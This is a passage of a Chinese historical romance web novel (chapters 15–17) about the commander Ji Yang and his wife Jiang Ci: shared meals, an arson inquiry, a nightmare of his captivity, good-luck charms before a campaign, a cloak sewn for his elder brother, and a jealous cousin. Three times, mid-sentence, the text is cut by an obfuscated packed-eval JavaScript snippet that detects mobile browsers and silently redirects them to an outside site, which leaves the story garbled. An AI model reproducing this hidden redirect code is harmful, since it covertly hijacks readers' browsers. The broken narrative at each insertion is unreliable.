晚娘这才抬头,一见他,连忙上前行礼:“都督回来了。今日姑娘还特意备了几样新菜,说是想请您试试味。不知都督可有空闲?”
15. 第 15 章
姬阳神情不动,面上却作出几分不耐,眉头微皱,伸手按了按太阳穴,语气敷衍道:“嗯……等会儿还要看折子,眼下正巧有点空。”
语未落,姜辞便从厨房内走出,手中托着汤盅,身上仍穿着尚未解下的围裙,眉眼间透着几分厨房里染上的温气。
她浅笑盈盈,语调温和:“还得多谢都督愿意指教,昨日您的建议我已同晚娘说了。今日换了做法,也劳烦都督试试看。”
姬阳微抿唇角,负手走向饭桌,一副心不在焉的模样:“行罢,今日再试一回。”
话虽如此,落座时那不经意扫过汤盅的眼神,倒是比谁都专注。
饭菜刚刚齐整,姬阳方才拿起筷子,院外忽然传来一声轻笑。
“我就说主公今日怎得那般急着撂了衙务赶回府,原来是……”
话音未落,几人一齐回头,便见陆临川折扇半开,笑意盈盈,立于廊下。
姬阳面色一变,眼神轻轻一扫,语气板起,立即打断他道:“我有几份折子需连夜批阅,明日一早要送出,才提前回府。”
陆临川看着他身旁整齐的饭案,再看看案前那一双眉目含笑的女子,扇骨轻敲掌心,眼底笑意更浓,却并不揭穿,只故作无辜地说道:
“既是如此,那我正好来得巧。主公不请我入座一同用膳么?”
姜辞率先开口,语气比平时对姬阳说话时多了几分冷意,清清淡淡却带着明显的距离感:
“既然陆司马开口,哪有拒客之理?银霜,去添一副碗筷。”
语罢,她转身将炖好的鸡汤盛入碗中,先后放在姬阳与陆临川面前。
陆临川也不客气,笑吟吟在案几一侧落座,目光扫了一眼那几道色香俱佳的小菜,随手挟了一筷,笑道:“咱们这些年征战在外,就是缺这口热饭。大多时候都是几口干粮草草了事,今日能在主公府中尝到夫人亲手所制,倒真是难得。”
他说着还不忘朝姬阳递了个意味深长的眼神,语气调侃,“主公,趁着驻丰都,可得好生珍惜这口温柔乡。”
姬阳冷冷瞥了他一眼:“闭嘴。”
陆临川识趣地收了笑意,低头认真吃饭,不再插言。
一旁,姜辞也默默夹菜,忽然咬到了一枚辣椒,辣意自舌尖迅速蔓延开来,她眉头轻蹙,却强自忍住,生生咽了下去。
她想起自己此前对姬阳说过“味觉不灵”,若此刻露了马脚,岂不前功尽弃?
辣意翻涌,小脸迅速泛红,眼眶微润,她咳了一声,又匆匆低头,用袖角掩面遮去异样,强自镇定地开口:
“我……失礼了。”
姬阳扫了她一眼,目光落在她碗中,细细一看,又转向盘中那几道菜色,立时心下了然。
他低声吩咐越白:“今日陆司马难得来府上,去取些梨水来,给每人斟上一杯。”
不多时,越白将梨水端来,一一倒上,姜辞第一时间端起杯子,小口喝下,才稍稍缓解那一口辛辣。
陆临川看着二人之间无声的流转,嘴角止不住勾起,终是忍不住笑出声来。
姬阳眉梢一挑,冷冷问他:“你笑什么?”
陆临川摇摇扇子,含笑回道:“无事,只是在想……山外有山,一山还比一山高。”
他语气含糊,却意有所指。
姬阳却未再理他,只淡淡收回目光,继续低头吃饭。
夜已深,书房中烛火摇曳。
姬阳伏案阅卷,神情专注。门外传来轻轻脚步声,越白推门而入,行了一礼后,将一物恭敬地置于书案上。
“主公,这是属下在二夫人院中走水的附近捡到的。”
姬阳抬眸,只见那是一枚沾着泥土与烟灰的红绳挂穗,原本精巧的结饰已被火焰熏得黯淡残破。
他指尖一顿,缓缓捻起那串穗子,神色骤凝。
“这结法……是阿梵的。”他语声低哑,眉头拧起,“他那日……曾在那一带?”
越白点头,“属下问过几个婆子,说是下午见过小少主在附近玩”,随后神情愈发谨慎:“属下按照您的要求,暗中查过,二夫人院中起火,并非她自导自演,而确有他人纵火。”
“此外,府中火油一向领用有数,哪日、何人、几量,皆有记册。翻查记录时,发现数日前,大公子院中的竹娘,曾亲自来领过一壶火油。”
姬阳目光陡沉,手中穗子一紧,眉眼间露出一抹肃冷之色。
越白看他脸色阴沉,顿了一下,才小心试探:“属下亲自去查过,大公子院中并无明火用处……主公,属下不敢妄言,但若真与阿梵牵连……”
话未说完,姬阳猛然抬眼,声线如冰:“不可能。”
他一字一顿,语气坚定至极:“阿梵不是那种孩子。他八岁了,是非曲直,已有分寸。他断不会做出这种荒唐之事。”
他顿了顿,将穗子轻轻放回案上,眼底寒意未散,却带着一丝隐隐的困惑与疑虑:
“但此物如何落在火场边,又是为何出现在那一处,必须彻查。”
“你继续查,或许是有人借他之名行事。”
“明白。”越白抱拳,退下。
烛影摇曳中,姬阳坐在案前,手中握着那枚烟熏火燎的红穗,久久未语。
与此同时,沈如安着一袭轻罗长裙,手中捧着一本泛黄的《太平清语》,款步至姬栩的院前。月光斜照竹影婆娑,她走至姬栩的卧房前,抬手轻敲房门,语声柔婉:
“子叙表哥,今日我读至此处,道义晦涩,不甚明白……不知能否叨扰片刻,请你为我指点一二?”
屋内静悄悄,杳无声息。
沈如安蹙了蹙眉。她知姬栩一向清静惯了,府中下人也不多,院内伺候的更是寥寥。她正欲再叩门,忽听得院门处脚步轻响。
姬云梵与竹娘自外归来,天色将晚,院中灯火未全挑起,光影朦胧。
小少主远远看见那女子倚立于门前,身段纤柔、背影娉婷,心中一喜,还以为是姜辞姐姐来了。孩童心性,登时撒开竹娘的手,快步跑上前去,一把抱住了沈如安的腰。
“姜姐姐!”他欢快地唤道。
沈如安骤不及防,被这突如其来的动作惊得失声尖叫,书本险些落地。她转身低头,正对上一双清澈明亮的眼睛,那张脸与姬栩如出一辙,只是稚气未脱。
她脸色一沉,倏然将他攥在自己裙摆上的小手掰开,。
姬云梵也怔住了,借着院中微弱的灯火细细打量,才看清眼前并非姜辞,脸色立刻变了:“你不是姜姐姐。”
沈如安望着这张稚嫩却有几分姬栩神韵的脸,心中浮起难以言喻的不悦,但是依旧压着语气,温柔问道:“阿梵,你可知道你父亲去了哪儿?”
他看着沈如安的眼睛,不知为何觉得后背发凉。向后退了一步,不说话,眼神里带着本能的排斥。
竹娘适时上前一步,挡在姬云梵身前,温和开口:“小少主,这位是您表姑,沈如安小姐。”
姬云梵这才不情不愿地行了个礼,低声唤道:“见过表姑。”
说罢,便拉着竹娘的袖子,小声道:“我想回屋了。”
竹娘歉意一笑,对沈如安说道:“大公子今儿个去了祠堂,表小姐若想见他,往后院去应能见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361272|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着。”
沈如安面上不动声色,缓缓点头,嘴角带着一抹端庄浅笑:“有劳了。”
待二人走远,她的笑意瞬间冷却,垂眸看向被小孩拉皱的裙摆,眼神一沉,转身欲走之时,低声骂了一句:
“小畜生。”
夜深风冷,月华如洗,万籁俱寂。
姬阳翻来覆去睡不着,闭眼之后,脑海中却是挥之不去的旧梦,那三年为质的光景,如噩梦般纠缠不休。
他梦见那年盛夏,西凉营中,烈日灼天,地面炙热如烙铁。
他赤着上身,被粗铁链锁着脖颈与手腕,浑身晒得通红,汗水与血痕交错。
他被押着在军营边缘的泥地上搬运原木,扛着粗重木梁,一步一顿地走过碎石与烫脚的地面。
烈阳正炽,耳中嗡嗡作响,唇干舌燥,喉咙仿佛生火。
每呼吸一次,胸腔都像在烧。身旁西凉军的哄笑声响成一片,有人端着一碗水,慢条斯理地走到他面前,在他面前举着,却猛地泼在地上。
“想喝?自己舔啊。”生后爆发出嘲笑的声音。
他没有动,只是垂着眼,低声喘息。那人又骂:“狗东西,装什么骨气?”
他抬眼,冷冷盯着对方,那一眼,宛如炽风里的冰刺。
下一瞬,一鞭抽来,带起血肉模糊。
他却咬牙不吭一声,只将木梁再往肩上扛了扛,身影在阳光下高挺如铁,不弯,不跪,不言一语。
他咬破了嘴唇,血和汗混着流下,却依旧一步不停地走完了一圈又一圈。
有人看不惯他的沉默,往他背上浇上热粥,滚烫黏腻,带着侮辱的意味。他只是站着,像一头受缚的狼,骨血里依旧藏着獠牙。
而高台之上,锦帐微拂,凉州诸将围坐饮酒,杯盘交错、笑语盈盈。
唯独姜怀策向他淡淡忘来一眼,仿佛他不过是营中一件无足轻重的牲力器具,甚至不配被认作一个活人。
那一刻他发誓,只要从这里活着出去,一定将这些折他辱他之人的头割下来祭奠,包括姜家的。
他在梦里忽然嘶声低吼一声,肩头抽动,冷汗浸透枕席。
梦醒,四下死寂,只余他一个人,坐在漆黑的屋中。
夜风透窗,依旧灼得像是那年酷暑的风。
他久久坐着未动,喘息如破风箱般粗重。
过了许久,他才意识到自己已经在丰都了,这里不是旧凉州。
他披上外袍,推门而出,直至院落空坪。他抽出挂在廊下的佩剑,未发一语,挥剑自如,破风声在夜色中划出一道道清冽寒光。剑锋每落一次,他眉目间的压抑与煎熬便深一分,似要将梦魇斩碎。
而此时,姜辞也自梦中醒来。
梦里,阿娘还活着。
她坐在绣架前,为姜辞一针一线绣嫁衣,边绣边笑,说将来一定要亲手送她出嫁。红罗如霞,金线如光,柔情与温暖一寸寸缝进布料里。
“阿娘……”
姜辞喃喃唤出,眼角早已湿透。
她缓缓起身,点起一盏小油灯,屋内仍是寂寂沉沉。她望着这冷肃沉郁的寝室,一丝归属感也无。眼见睡意全无,她披了件薄披风,悄然出了门。
她漫步在夜色中,脚步不知不觉引至前院。
忽听破空之声,她循声望去,只见廊下院坪中,一人正挥剑如风,气势如铁崩裂,带着满满的沙溢。
正是姬阳。
她正欲开口行礼打招呼,却见他忽然一转身,冷厉如霜的眼神扫来,下一瞬,他竟如猛兽般破风而至——
剑光一闪,已横至她颈侧。
16. 第 16 章
姜辞脚步一滞,未敢动分毫,呼吸也因此断了一息,惟有手中那盏油灯,在风中微微颤抖。
火光摇曳,将她的面容照得纤毫毕现。
那一刻,姬阳终于看清她的脸。
却仿佛不是姜辞,而是梦里那冷眼旁观之人。他的眼神倏然变了,眼底似藏惊雷,亦有崩溃。
他抖了抖手,剑锋微颤,呼吸仿若停滞。
他看着她,那双眉眼,那轮廓,无一不在提醒他过去的噩梦。
这一刻,梦与现实猝然重合,寒意如毒蛇盘上心头,旧恨奔涌而起。
姜辞察觉他的迟疑,也不敢妄动。
许久,见他未动手,她才轻轻抬起另一只手,按住他的剑柄,缓缓将锋利推开。
她的动作极轻,眼中却已有泪光,在烛火中摇曳如星。那不是因惊惧所生的泪,而是梦醒之后心中仍淌着的旧人旧事,藏不住的脆弱流露。
姬阳望着她颊上滑落的泪珠,怔了一瞬,以为是自己吓的,顿觉一丝烦躁与莫名歉意。
他收剑入鞘,目光沉沉扫了她一眼,语气冷硬:
“夜里乱走动,刀剑无眼,万一被我当成敌人一剑封喉,可别到时候怪我心狠。”
姜辞轻轻咬着唇,点了点头,脚步微退,想要离开。
谁知衣袍垂落过长,她竟一脚踩在了自己的裙摆上,手中油灯啪的一声掉落在地上,火光瞬息熄灭。整个人失了重心,身体向后仰去。
姬阳眼疾手快,猛然伸手,将她从半空中揽住。他的手指穿过她袖口,他温热的掌心恰好捏住她冰凉的指尖,两人几乎同时如遭雷劈般弹开,纷纷收回了手,姜辞跌坐在地,发丝散乱,肩头微颤。
她想站起,却终究没能立即动弹。
姬阳低头看着她,语气冷嘲,仿佛在掩饰方才那一瞬的慌乱:
“你真蠢,平地都能摔跤。还好不是让你上战场,否则早被人抓了去当战俘。”
话音未落,姜辞的鼻尖已泛起酸意。她垂着头,轻轻咬着唇,却终是没忍住。膝盖微弯,抱膝坐地,声音低哑中透着隐忍的委屈:
“你为什么总是这么欺负我……”
姬阳一向最烦女人哭,更何况是深夜里、月色下,这么一滴一滴不声不响地落泪。他皱着眉站了一会儿,终究别开了视线,语气生硬道:
“你别哭了……这大晚上的,不知道的还以为是我把你推倒了。”
地上的姜辞没有回应,只是继续安静地抱膝坐着,像一株微颤的花,低头不语。
姬阳挠了挠后脑勺,竟有些局促。他咳了一声,眼神往一边飘:
“……要不,我给你表演一套舞剑?”
说完,他竟真的拔出长剑,照着军中出征前的剑舞架势舞了起来,动作凌厉矫健,夜风卷着剑光划破寂静,带起一股逼人的肃杀之气。
姜辞抬起头来,睫毛还挂着泪,带着一点不敢置信地望着他,忍不住问道:
“……你是在逗我开心吗?”
姬阳脚下顿了一下,自豪道:“你在想什么呢?我可是很认真。每次出征前,我们都练这一套剑法,为的是鼓舞士气、提振勇气。”
姜辞哭过的眼眶还红着,听他这番话却怎么也觉得有些可笑,抿了抿唇,神情有些无奈地叹了一句:
“那敢问都督,如今可否大发慈悲,把我扶起来?”
姬阳收了剑,站在原地犹豫了一下,像是要说什么,最终却什么都没说。他走上前,伸手拎住她的后衣领,动作干脆利落地把她拎了起来,像提一只落水的小猫,动作略显粗暴,却小心翼翼得很。
他把她拎到一旁,又将地上的油灯捡起来,说道:“灭了,好在也不黑,你自己回去吧。”
姜辞接过他捡起的油灯,低垂眉目,轻轻拍去衣摆上的尘土,随后盈盈一礼,转身退下,身姿仍旧端雅。
方才落泪,并非因在姬阳面前受了多大委屈,只是梦中的阿娘太过真实,绣红嫁衣、低声细语,如在眼前。
那一刻,她没能忍住。
翌日清晨,薄阳穿檐洒落,姜辞起得不算晚,已坐于妆奁前,由银霜为她挽发。
铜镜中映出她一张素颜清丽的脸,眼尾却还带着些未散的倦意。她垂眸看了眼案上的披风,那是她亲手绣的,如今已近收尾,唇角不由泛起一丝柔意。
“姑娘,这披风绣得真好。”银霜在一旁夸道。
姜辞淡淡一笑,却轻轻蹙眉:“只是……这尺寸,我还是不大拿得准。”
思忖片刻,她披了件小衣便出了门,欲寻个合适的身形比一比。
而院门外,姬阳此时也正着衣起身,活动了一下脖颈,神情微带困意,叫来越白替他收拾衣物与佩剑。
换好玄袍、佩好腰带,他步出院门,正欲前往督军署点卯,却在回廊处与迎面而来的姜辞撞了个正着。
他眉头一拧,语气凉淡:“你又想做什么?”
话虽冷硬,眼神却比往日温和了些许。大抵是昨夜那抹泪意仍在他脑中未散,终究没再刻意冷言冷语。
姜辞站住,语气温和:“劳烦都督转个身。”
姬阳狐疑地看了她一眼,面露不耐:“你该不会是昨晚记仇,想趁我转过去捅几刀吧?”
姜辞嘴角轻轻一抽,无奈道:“我从不在人背后捅刀子,尤其是都督的。”
此话说得轻,却像一根羽毛扫过姬阳心口,让他莫名一滞。
她是随口一说,还是……给他的承诺?
姬阳不动声色,心下却微微一颤:这女人,看来是爱慕上本都督了。
姜辞不再多言,走上前一步,轻轻用掌心在他肩背比了比宽度。她动作轻盈,未曾碰触,仿佛只是风拂过玄衣。他站着没动,只听她道:“好了。谢谢都督配合,不耽误您去点卯了。”
行了一礼,她缓缓退开。
姬阳望着她转身的背影,神色复杂几分,随后大步出府。
走到门前时,他忽地低声问越白:“你说……她刚刚是不是在勾引我?”
越白一顿,神情微妙,回想起刚才姜辞连个眼神都没给姬阳,片刻才低声回道:“都督觉得是……那便是吧。”
姬阳哼了一声,大步迈出府门,骑上马朝着督军署行去。
督军署中午后略显沉闷,外头阳光明灼,屋内却依旧灯火明亮,舆图铺展开来,东阳、凉州、瀚北三方势力清晰可见。
陆临川翻着一卷密信,神情微凝:“主公,最近瀚北一带动静频频,尤其是在青州边境,斥候来报,多次发现游骑试探、粮车迁动、还有几处小部族迁徙异常。”
他顿了顿,手指点在青州以北一处要冲,“根据我们截下的密信来看,瀚北之主孟啸,可能已经在做春末出兵的打算,先扫清青州,再南下图凉。”
姬阳神色未动,冷冷一声:“那就打。”
陆临川抬眸望他一眼,微笑着摇了摇头:“你倒是一如既往不费话。”随即与姬阳低声讨论
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361273|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起调兵之策。
正议至第三军何时西调之际,副将杜孟秋进来禀报,几位随军将领也陆续到场。
姬阳抬头扫了一眼,却忽然皱眉。他目光定定落在几人胸前,冷声问道:
“你们盔甲上挂的……是什么?”
几位将领一怔,低头看了眼,才笑着解释道。
“回主公,是平安符,夫人们昨夜缝的,说是听闻可能要出征,心里不安,便给我们做了这个,说保平安。”
“我那口子也是。”另一位将军接话,“还说缝的时候焚了香,剪了红线,一针一线缝进去的心意。”
众人笑声低低,倒也不失温情。
姬阳神色如常,双手缓缓撑在桌案之上,目光扫过那些缠着红线、系于甲上的绣符,眼底看不出情绪。
他顿了一息,凉凉吐出一句:
“哼……迷信。”
话音一落,屋内略显寂静。
副将赔笑道:“主公说的是,我等粗人也只是图个念想,不当真。”
陆临川却笑着转过脸去,似有若无地喃道:“主公说的是。”
姬阳眼神一斜,翻过舆图,语气一转,恢复冷峻:“别再浪费时间,把西路兵调度图拿来,青州若失,则汀洲不稳。”
“是。”众人应声,议事继续,只是气氛比方才肃杀了几分。
午后日光微斜,丰都街巷暖风轻拂。姜辞着一袭素色罗衫,携银霜缓步出门。
街上行人多了起来,远处忽然传来“咚、咚、咚”的战鼓声,节奏急促,声势震耳。
姜辞脚步一顿,回头看向鼓声传来的方向,低声问道:“为何今日城中频频鸣鼓?”
银霜也有些疑惑,摇了摇头:“奴婢也不知,府里未曾传话。”
姜辞继续前行,走到一处布满旧书与香囊的小摊前,摊主是一位白发老者,坐在椅中,正在翻拣案上的物什。姜辞停下脚步,俯身柔声问道:“老丈,敢问今日鼓声所为何事?”
老者抬起头,看了她一眼,神情中带着几分习以为常的肃然:“姑娘莫不是外地人?那是东阳军出征前的号角,鼓一响,兵马齐发。”
说罢,他又从摊案上拿起一个红绳系就的小布符,递给姜辞:“这是平安符,你要不要带一个回去?若是家中有郎君,也可送他一只,保他平安归来。”
姜辞指尖轻轻触碰那符袋,眼神略动。老者接着说道:“这是我们这边的俗人旧习,出征前,妻子送给丈夫,或者女子送给意中人,护符虽小,盼的却是平安。”
姜辞眼神微动,片刻后将平安符轻轻放回原处,拢袖致意:“谢谢老丈,我知道了。”
回到东阳侯府,姜辞走进屋中,坐于案前凝神片刻,忽而抬头对银霜说道:“把我那几匹绣花布拿来,让我看看颜色。”
银霜一怔:“姑娘要做什么?”
姜辞拈起一根红线,在指间绕了绕,语气轻缓:“做个平安符。”
银霜一脸不解:“可……姑娘,您和都督……也还没近到能送平安符的地步吧?”
姜辞神色未变,只是低头拣出一块藏青云纹布,目光沉静地望着窗外的暮光,轻声道:
“他必须要平安。”
“如今汀洲是块肥饼,东阳军的威势,是靠姬阳一人立起来的。他若倒了,其他三方势力窥伺环伺,凉州……就成了乱战之地。”
她顿了顿,又道:“这平安符不是给丈夫的,是给凉州的百姓做的保。”
17. 第 17 章
夜色渐沉,丰都城头鼓声已歇,月光如银,洒落在东阳侯府幽静的院落中。
姬阳一身风尘仆仆地归来,解下外袍才一进门,便闻见饭香扑鼻。他往院中走了几步,见小桌上灯火未灭,晚娘正将最后一碟热菜端上桌。
“人呢?”他随口问道,语气冷淡,眼神却已在屋中略略扫过,没见姜辞的影子。
晚娘垂手行礼,语气温和:“回都督,姑娘这几日一直在绣一件衣裳,傍晚说屋里灯光好,不便分神,叫奴婢先别唤她。”
姬阳正挽着袖口准备落座,听得此言,动作顿了顿,脑海忽地掠过清晨那一幕——她站在台阶上,认真地打量自己后背的模样,指尖贴着袍面划过去时的触感。
他嘴角轻不可察地动了一下,似是有笑意要逸出,又被他强自压了下去,眉目一挑,语气却仍是淡漠如常:
“行,我知道了。”
夜深灯静,姜辞将手中的最后一针收起,细细地将线尾藏好。披风展开,针脚细密,云纹流转,在烛火下显得格外好看。
晚娘一边将茶水换热,一边笑着凑近看了一眼:“姑娘这是绣给都督的?”
姜辞却轻轻摇头,语声柔和而清淡:“不是,是做给大哥的。”
她语气中不带怜悯,却有几分不易察觉的体贴:“前几日见他身上的披风,怕是穿了许多年。大嫂早已不在,婆母又是习惯驰骋疆场的女将,性子爽利,不拘小节,儿子都是散养惯了。衣着用度,也都是下人照料,她并不多留心。”
说到这里,她抬眸望了一眼窗外天色,语气仍淡,却透出几分温意:“既是成了一家人,总该有人替他多操一点心,况且,都督一向最在乎就是他大哥和他侄子,我是有一点想投其所好,但大哥待人和善,难得能说上几句话,他将我视作家人,我也应当真诚相待。”
晚娘看着她认真温和的模样,轻声说道:“姑娘心善。”
姜辞闻言一笑,并未回应,而是走到衣架边,取下早前选好的那块藏青云纹布。她捏着布料的边角,若有所思地看向灯火摇曳的案几。
“晚娘,你说,都督会喜欢什么样的护符?”
她眼神落在布料上,脑中却浮现起白日市集上见过的各色平安符。圆形、方形、带流苏的、绣字的……样式纷繁,却也没一样能让她觉得这就是他会喜欢的。
晚娘想了想,忽地低声道:“姑娘前些日子不是叫奴婢收拾屋子?那时奴婢在柜子深处发现一个老虎枕头,看着像是孩童用的,颜色旧了,有些地方都开线了,怕是……已经放了十来年往上了。”
姜辞闻言一怔,随即起身走到那柜子前,轻轻打开。果然在角落里,看到了那个老虎枕。枕面颜色已褪,绣线也有些散开,但那对虎眼圆滚滚的,神态仍旧憨气可爱,仿佛仍带着一个孩子残留的欢喜。
她将它轻轻合回原位,对晚娘轻声说:“那我就做一个老虎头的,可好?”
晚娘点头,目光中带着一丝暖意:“好极了,都督定会喜欢的。”
姜辞便在案上铺纸,研墨,起稿。她先画了一只虎头,线条流畅,神态威而不怒,带着几分稚趣。又按着纸样裁布,缝制。一针一线,不急不躁。
晚娘替她换了灯芯,添了油。窗外月光淡落,时光流转如水。
一夜未歇。
天将破晓时,姜辞揉了揉酸胀的眼睛,动了动脖颈,低声问:“晚娘,可打听到都督哪日出征了?”
晚娘将披风拿去晾好,回道:“听府里人说,是三日后启程。”
姜辞轻轻应了一声:“好。”
姜辞唤晚娘端着托盘,将亲手绣好的披风整整齐齐铺好,准备送去大哥院中。她方才迈出院门,便在门口与正要出门去督军署的姬阳撞了个正着。
姬阳余光扫见托盘上的布料,步子一顿,低声对越白嘀咕:“你看,那绣着的披风,分明是做给我的。”
他唇角压不住地微微翘起,带着几分倨傲走上前。
姜辞止步,盈盈一礼:“见过都督。”
姬阳站得笔直,双手叉腰,心中已默认接下来的情节应是她羞涩地将披风递来,甚至会替他披上。他等着。
可谁知姜辞行完礼,便转身欲走,毫无停留之意。
姬阳脸色一僵,低声唤住她:“姜辞,你这是要去哪儿?”
姜辞脚步一顿,回眸温声答道:“哦,前些日子才知道是大哥生辰将过。我未能准备什么像样的礼物,便绣了一件披风,想着他常出入院外,或许能用得上。”
姬阳一愣,脸色沉了两分,仿佛被谁结结实实扇了一巴掌。他盯着那件披风,又问了一遍:“这是……给我大哥的?”
姜辞一脸坦然:“对啊。”
姬阳眼角抽了抽,负手而立,语气冰冷:“给大哥也罢。这种花纹一看就是他那种人喜欢的,花里胡哨的。”声音带着明显的不屑与酸意。
话落,他大袖一甩,头也不回地往外走去。
越白在旁偷瞥了主公一眼,见他脸色已沉成铁灰,不敢吭声,只默默加快了脚步。
清晨薄光微启,院中竹影婆娑。
姜辞携晚娘缓步踏入姬栩所居的东厢院落,未进屋,便站定在庭前候见。
屋中,姬栩刚洗漱毕,听闻下人来报“二夫人来了”,动作顿了一瞬。
他转身整了整衣襟,理好发带,指节掸去衣袖细褶,抬眼问身旁小厮:“我这样……可还得体?”
小厮笑着回道:“大公子本就仪容端方,丰都女子个个都为之倾倒,如今更是精神清朗。”
姬栩微笑着点了点头,推门而出。
院中,姜辞见他出来,盈盈一礼,柔声道:“大哥,打扰了。前些日子才得知您的生辰已过,未能备礼,实在挂怀。赶制了这一件披风,聊表寸心,权作补赠。”
她朝晚娘使了个眼色,晚娘便将托盘上的披风呈上。披风以上好墨蓝纹织就,边角一丝不苟,暗纹如波,针脚平稳细致,分明是极用心之作。
姬栩见状微怔,眸中悄然浮上一丝惊喜。他本欲唤人接过,却忽地转眸看向姜辞,眼含笑意,语气温和却带着几分意味不明的轻柔:
“你替我披上罢,我试试看。”
姜辞微怔,眉梢轻动,似是下意识想要推辞,他却已温声续道,语调里染上几分劝哄般的轻缓:
“你亲手绣的心意,我很欣喜,再说了,咱们是一家人,何必如此生分,若弟妹当我只是外人,那我便叫百阳来。”
说罢,还特意顿了顿,声音低柔,仿佛带着某种委屈似的分寸拿捏,恰到好处地让人无法拒绝。
姜辞抬眼看他,终是点了点头,伸手取过披风,轻轻为他披上,手指抚平领口褶皱,动作温和轻柔。
姬栩低眸凝望着她垂落的睫羽,那一瞬,仿佛有微光自死寂中透出,竟悄然泛起一丝暖意。
正此时,沈如安提着一个精致食盒踏入院中。
她脚步未停,却在看清那一幕时倏然僵住,庭中竹影间,姜辞正替姬栩披衣,而姬栩低首配合,面带微笑,温和专注,仿佛整座院落只余他们二人。
沈如安握着食盒柄的指节顿时绷紧,盒柄险些要被她生生捏断。但她很快恢复神色,嘴角挤出一抹笑,盈盈走近。
“二表嫂手巧,女红竟如此出众,这披风的颜色与花纹,倒是衬得子叙表哥极好。”
姜辞闻声立刻松开了披风边角,向后退了半步。姬栩却自然地接过披风边缘,自己系好,语气平稳回道:“是,我很喜欢。”
他转而看向沈如安,眉眼温和:“表妹一早来了?可是有什么事?”
沈如安笑意未减,声音却略带轻颤:“是啊,想着给表哥送些早膳,怕你病中乏味,便亲自熬了杏仁羹。”
姬栩略皱了皱眉,轻声说道:“这种事交给下人便是,你一个待嫁的姑娘,总往男子院中走动,终究不太妥当。”
沈如安闻言轻哼一声,嘴角勾起一抹似笑非笑的弧度,语气里带着一丝娇嗔与不以为然:
“哼,我倒听子叙表哥说,二表嫂是一家人,不必生分,怎么轮到我这个表妹,反倒生分起来了?”
她说着,似不经意地瞥了姜辞一眼,唇边笑意俏皮中带着点儿撒娇的意味:“小时候你、我、还有二表哥,不还是挤在一张床上睡过么?如今倒要将我当外人了?”
姬栩面上略显尴尬,忙开口缓和气氛:“我不是这个意思……先别说这些了,你既然熬了羹汤,不如坐下,一起吃点。”
沈如安顺势将食盒放在案上,眼波一转,又温声挽留:“二表嫂想必也还未用早膳,不如也坐下同用吧?尝尝我熬的杏仁羹,味道很清润。”
她一边说着,一边含笑看向姜辞,眼眸如鹿,神情乖巧温顺。
姜辞却只是淡淡一笑,语气温和而得体:
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361274|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多谢表妹美意,只是我那边还有些针线未完,怕耽搁了时辰。表妹难得回来,正该与大哥多叙叙话,我便不打扰了。”
说罢,她微微欠身行礼,携晚娘转身而去。
二人走出姬栩的院子,晚娘快走两步,凑到姜辞身边,小声问道:“姑娘方才为何不留下来?沈如安姑娘既送了羹,又一再挽留,倒也不算失了礼。”
姜辞低头看着脚下石缝中新冒的嫩芽,缓缓道:“我也说不清。”
她顿了顿,语气平静,却藏着几分凝思与警觉:“只是……不知道为何,总觉得那位沈表妹,面上虽温和,但与她说话时,始终让人提不起放松。”
晚娘听罢微微一怔,随即点点头:“姑娘说得对,奴婢也觉着,她那笑意里藏着几分试探,叫人心里发虚。”
姜辞轻轻一笑,眼神沉静如水:“人心这东西,看不清也摸不准,只能多留一分心就是了。”
姬栩的院中,沈如安斟了一碗羹,动作温柔得体,推到姬栩面前,自己才轻轻拿起汤匙,语气似漫不经心地问道:
“表哥如今身子已好转许多,我来的时候,听母亲说。姬夫人想等你彻底养好病,张罗你的婚事。你……可曾有过中意的人选?”
姬栩拿着汤匙的手微微一顿,笑意温和而疏淡:“我病了这些年,哪还顾得上这些事。如今云梵在我身边,我已很知足。”
沈如安不甘心,仍温声道:“可若有个知心人陪着,替你分忧解乏,看顾你与阿梵,未尝不是一件美事。表哥你……真的从未动过再娶的念头吗?”
姬栩低下头,盛了一勺汤,眉眼敛起,不答反问:“表妹可知,有时候一个人习惯了静,也就不再渴望热闹。”
沈如安盯着他,笑意微敛:“可再冷的夜,也比不上旁人一句贴心话来得温暖。”
她轻轻将指尖绕在袖边,语气像极了少女的娇嗔:“难道就没有哪位姑娘,哪怕只叫你心动一瞬?”她还是不死心地追问。
姬栩手中汤匙一顿,汤中浮起涟漪。
他缓缓垂眸,目光落在那披在腿上的墨蓝披风之上,过了好一会儿,才笑了笑,
“我倒是觉得,如今这样,挺好。”
沈如安唇角的笑意未变,藏在案几下的手却一点点收紧,指甲掐进掌心。她眼睫微垂,只应了一声:
“是吗……那自然也是极好的。”
姜辞刚回到院中,便有下人快步前来禀报:“二夫人,府门外来了辆马车,说是从凉洲送来的,说是您父亲托人送来的东西。”
